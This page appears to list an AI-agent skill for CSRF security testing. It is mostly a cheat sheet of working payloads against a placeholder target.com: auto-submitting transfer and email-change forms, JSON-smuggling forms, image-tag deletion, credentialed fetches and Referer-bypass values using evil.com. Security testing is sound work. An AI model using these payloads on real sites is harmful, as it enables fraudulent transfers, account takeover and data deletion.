Loading...
Loading...
Professional Skills and Methodologies for CSRF (Cross-Site Request Forgery) Testing
npx skill4agent add ed1s0nz/cyberstrikeai csrf-testing<!-- With Token Protection -->
<form method="POST" action="/change-password">
<input type="hidden" name="csrf_token" value="abc123">
<input type="password" name="new_password">
</form>
<!-- No Token Protection - CSRF Risk Exists -->
<form method="POST" action="/change-email">
<input type="email" name="new_email">
</form>// Normal Request
Referer: https://target.com/change-password
// Test Bypass
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (empty)<form action="https://target.com/api/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script><!-- Submit JSON using form -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script><img src="https://target.com/api/delete?id=123">// If Token exists in both Cookie and form
// You can try to only submit the Token from Cookie
fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: 'action=delete&id=123'
// Does not include csrf_token parameter, relies on Cookie
});<!-- If Token is in Cookie and validation logic is flawed -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="">
<script>
// Read Token from Cookie
document.cookie.split(';').forEach(c => {
if(c.trim().startsWith('csrf_token=')) {
document.querySelector('input[name="csrf_token"]').value =
c.split('=')[1];
}
});
</script>
</form># Perform CSRF scan using ZAP
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.comSet-Cookie: session=abc123; SameSite=Strict; Secure